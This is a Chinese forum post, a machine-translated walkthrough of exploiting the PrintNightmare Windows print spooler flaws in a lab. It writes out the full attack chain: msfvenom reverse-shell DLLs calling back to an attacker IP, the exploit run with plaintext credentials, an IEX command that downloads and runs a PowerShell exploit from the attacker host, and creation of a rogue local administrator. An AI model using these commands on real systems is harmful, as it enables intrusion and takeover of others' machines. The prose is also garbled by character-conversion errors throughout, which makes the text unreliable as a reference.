Windows 提权-PrintNightmare

一给  金牌会员 | 2025-3-5 18:08:12 | 来自手机 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 948|帖子 948|积分 2844

本文通过 Google 翻译 PrintNightmare – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词举行了校正及个别解释补充。
导航

0、前言

在这篇文章中,我们将介绍被称为 PrintNightmare(打印梦魇)的权限提升技能,该技能是针对 Windows 打印后台处理 服务内里存在的一个漏洞举行的利用。下面,我们将演示怎样在远程本地去摆列打印后台处理服务,并且还会展示怎样利用三种不同的工具来利用这个服务。
PrintNightmare 是影响 Windows 操作系统的严重安全漏洞,它有两种变体,一种允许远程代码执行(CVE-2021-34527),另一种导致权限提升(CVE-2021-1675)。
注:PrintNightmare 漏洞影响着 Windows 几乎全部的版本。Windows 7、Windows 8.1、Windows 10,Windows Server 2008、2012、2016、2019、2022,乃至 Windows 11 也受到一定影响。
1、CVE-2021-34527 – PrintNightmare RCE(准 远程代码执行)

首先,我们将利用 Impacket 套件中的 rpcdump.py 工具来远程摆列目标机器的打印服务,一旦确认该服务正在运行,就利用 CVE-2021-1675.py 脚本来利用该服务。
CVE-2021-1675.py 脚本会共同攻击者机器上共享的恶意 DLL 文件,让 DLL 文件直接在受害者机器上执行,一旦 DLL 被执行,它将为我们提供一个 SYSTEM shell!
CVE-2021-1675.py 的 GitHub 仓库中还包罗此脚本的 CSharp 版本:SharpPrintNightmare,而这个将在后文利用它。
利用此 RCE 漏洞的条件条件是:需要一个标准用户的凭证(暗码或 NTLM hash) 。只管这也被视作是 RCE 漏洞,但它实在紧张照旧一个权限提升漏洞,因为需要提供标准用户凭证,并且该标准用户的权限最终会被提升到 SYSTEM 级别。
在此示例中,假设我们通过暴力攻击获取到了用户 cmarko 的凭据。
1.1、远程摆列 Print Spooler 服务

要扫描目标计算机以查找 print spooler 服务是否正在运行,请利用以下命令:
  1. rpcdump.py @172.16.1.50 | egrep 'MS-RPRN|MS-PAR'
复制代码

如果输出有效果,那么它应该是脆弱的!
现在我们知道打印服务正在目标机器上运行着,此时,还需要利用 msfvenom 制作一个恶意 DLL 以供 CVE-2021-1675.py 利用。
1.2、行刑前的准备

由于没有好的方法可以或许让我们远程对目标机器举行 100% 的指纹识别,以确定操作系统版本和架构。因此我们可以为这个漏洞同时制作 64 位和 32 位 DLL。这样,如果其中一个不起作用,我们就可以测试另一个。
由于目标很有可能是 64 位的架构,因此首先利用以下命令创建 64 位的 DLL:
  1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o nightmare64.dll
复制代码
接着制作一个 32 位的 DLL,为 64 位 DLL 失败时做好准备:
  1. msfvenom -p windows/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x86 --platform Windows -f dll -o nightmare86.dll
复制代码

接下来,我们把两个 DLL 都放在同一个目录中,然后为此目录设置 SMB 共享,可利用以下命令:
  1. impacket-smbserver share $(pwd) -smb2support
复制代码

这会将共享文件夹命名为 'share',这意味着我们的 DLL 可以以 \\IP\share\nightmare64.dll这种方式访问。
一切准备就绪,我们就可以开始下面介绍的利用操作了。
1.3、利用 CVE-2021-1675.py

首先,我们需要在攻击者计算机上启动 443 端口的监听器,因为这也是 DLL 反向连接所选择的端口。接着,就可以利用以下命令来利用 print spooler 服务了:
  1. python3 CVE-2021-1675.py juggernaut.local/cmarko:'N0cturn@l21'@172.16.1.50 '\\172.16.1.30\share\nightmare64.dll'
复制代码

可以看到利用程序正在开始做一些事情。

然后回到我们的监听器,可以看到一个 SYSTEM shell 已经建立乐成!

2、CVE-2021-1675 – PrintNightmare LPE(本地权限提升)

上面的 RCE 示例结束后,现在来看看我们如何利用两种不同的工具在本地利用这一漏洞。
首先,我们将编译并利用 SharpPrintNightmare.exe 再次执行恶意 DLL。其次,我们将探索利用 PowerShell 脚本来利用该服务并创建一个新的管理员用户。而在 PowerShell 示例中,将利用 Invoke-Expression (IEX) cmdlet 直接将脚本下载到内存中并执行(注:又叫文件不落地执行)。
对于此示例,假设我们无法提供任何用户凭据,但是可以或许利用一个 Web 漏洞获得一个 cmarko 普通用户身份的 shell。这意味着我们获得了驻足点,但是不知道用户的暗码。

2.1、本地摆列 Print Spooler 服务

在开始摆列服务之前,我们希望跳转到 PowerShell shell 中去。【虽然并不是必须要跳转到 powershell 中才能举行摆列,但为后文要频繁利用 powershell 做准备,先提前熟悉下。】
要跳转到 PowerShell shell,可以简朴地在当前 shell 中利用以下命令【注:这通常可能会导致 cmd shell 挂起或卡死。】:
  1. powershell -ep bypass
复制代码

如果上述命令不起作用,导致 cmd shell 挂起或卡死,则可以利用 Nishang 的反向 TCP 脚本以将 cmd shell 升级到 powershell shell;亦或利用 powershell -c “command” 的方式去执行 PowerShell 的 cmdlet 命令。
在 PowerShell shell 中,可以利用以下命令轻松摆列打印服务是否正在运行:
  1. Get-Service "Spooler"
复制代码

这表明 Print Spooler 服务当前正在运行,也意味着此受害者机器容易受到攻击!
此外,我们还应该检查一下系统的版本信息和架构信息,以便在制作歹意 DLL 时能明确知道该怎么做。
  1. systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
复制代码

可以看到,这是一个 64 位的系统,这也就是为什么在第一节中我们远程利用此服务时,64 位的恶意 DLL 会起作用。
2.2、利用 SharpPrintNightmare.exe

在摆列完打印服务并发现它正在运行后,接下来,需要开始设置我们的攻击。
现在,我们已经拥有了同 CVE-2021-1675.py 一块的 SharpPrintNightmare 文件。

但由于没有该程序的编译版本,因此我们需要将整个文件夹和其中的全部文件/子文件夹传输到安装了 Visual Studio 的实验计算机上。然后从那里,利用 Visual Studio 打开 SLN 文件,将其编译为可执行文件。
我计划在将来写一篇关于以各种方式编译可执行文件的文章。但现在,可以先参考这篇文章中利用 Visual Studio 编译 EXE 的示例。
在此示例中,我们将复用之前制作的恶意 DLL ,然后以类似之前利用 CVE-2021-1675.py 时间的那种方式举行利用。唯一的区别是,这次我们将 EXE 和 DLL 全都下载到受害者的本地磁盘上。
因为,如果我们要直接从共享执行 EXE 和 DLL 程序,是需要管理员权限的,这就是为什么需要将 EXE 和 DLL 放在本地磁盘上。【注:这里我在win7、win10 上测试单个 EXE 是不需要管理员权限便可以运行的,但 EXE + DLL 的方式可能就不可了?】
在编译完 SharpPrintNightmare 二进制文件并将其发送回攻击者计算机后,我们可以将 EXE 和 DLL 放在一起,然后为该目录开启 HTTP 服务。

然后在受害者机器下载 SharpPrintNightmare.exe 和 nightmare64.dll 文件。

剩下的就是在端口 443 上再次启动 netcat 监听器以捕获反向连接的 SYSTEM shell,然后执行以下命令:
  1. C:\temp\SharpPrintNightmare.exe 'C:\temp\nightmare64.dll'
复制代码

可以看到,它又在做一些事情了,和远程利用时间的情况非常相似。
回头检查我们的监听器,发现有一个 SYSTEM shell!

2.3、利用 CVE-2021-1675.ps1

在本例开始之前,我们需要先获取 CVE-2021-1675.ps1 的副本,然后将其放置在 EXE 和 DLL 所在的目录下。

然后,我们可以利用以下 echo 命令将脚本调用函数附加到脚本底部:
  1. echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> CVE-2021-1675.ps1
复制代码
最终,脚本的底部就像下面这样:

这条后加的命令会创建一个名为 pwnt 的新用户,账户的暗码为 Password123,且新用户会被添加到本地管理员组。
在脚本底部添加命令的方式,会使得该脚本在被 IEX 下载到内存时,该命令会被自动执行。
在开始漏洞利用前,先利用 net user 命令,可以确认当前并不存在名为 'pwnt' 的用户。

现在,我们利用以下命令开始漏洞利用:
  1. iex(new-object net.webclient).downloadstring('http://172.16.1.30/CVE-2021-1675.ps1')
复制代码

从脚本的输出中可以看到,该漏洞利用创建了一个恶意 DLL,该 DLL 创建了我们指定的用户,然后将其添加到本地管理员组。然后,它会清理并删除自己创建的 DLL。
现在,当我们再次检查 net user 和 net localgroup administrators 时,将看到新创建的用户。

现在,我们能用这个用户做些什么呢?好吧,如果 RDP 已打开,那么可以利用 xfreerdp 通过远程桌面进入受害者机器,然后利用“以管理员身份运行”打开 cmd.exe,以启用我们的全部权限。
  1. sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard
复制代码


Cool,我们可以获得管理员的全部权限,但是如果 RDP 未打开时会发生什么情况呢?当我们利用 crackmapexec 测试 SMB 的访问时,会看到用户是有效的。但是,并没有出现预期的 Pwn3d!提示,这意味着我们无法通过 SMB 服务执行命令。
  1. crackmapexec smb 172.16.1.50 -u pwnt -p Password123 --local-auth
复制代码

同时,我们利用 psexec.py 测试也是没有效果的。

而之所以会发生这种无法登录的情况,是因为我们的本地管理员用户被 UAC 阻碍了。而我们可以绕过这一点,在没有 GUI 的情况下以该用户的身份获取一个 admin shell。但是,这需要先利用 RunAs 技能获取一个中完整性 shell,然后利用某种 UAC 绕过技能将中完整性 shell 提升到高完整性 shell。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

一给

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表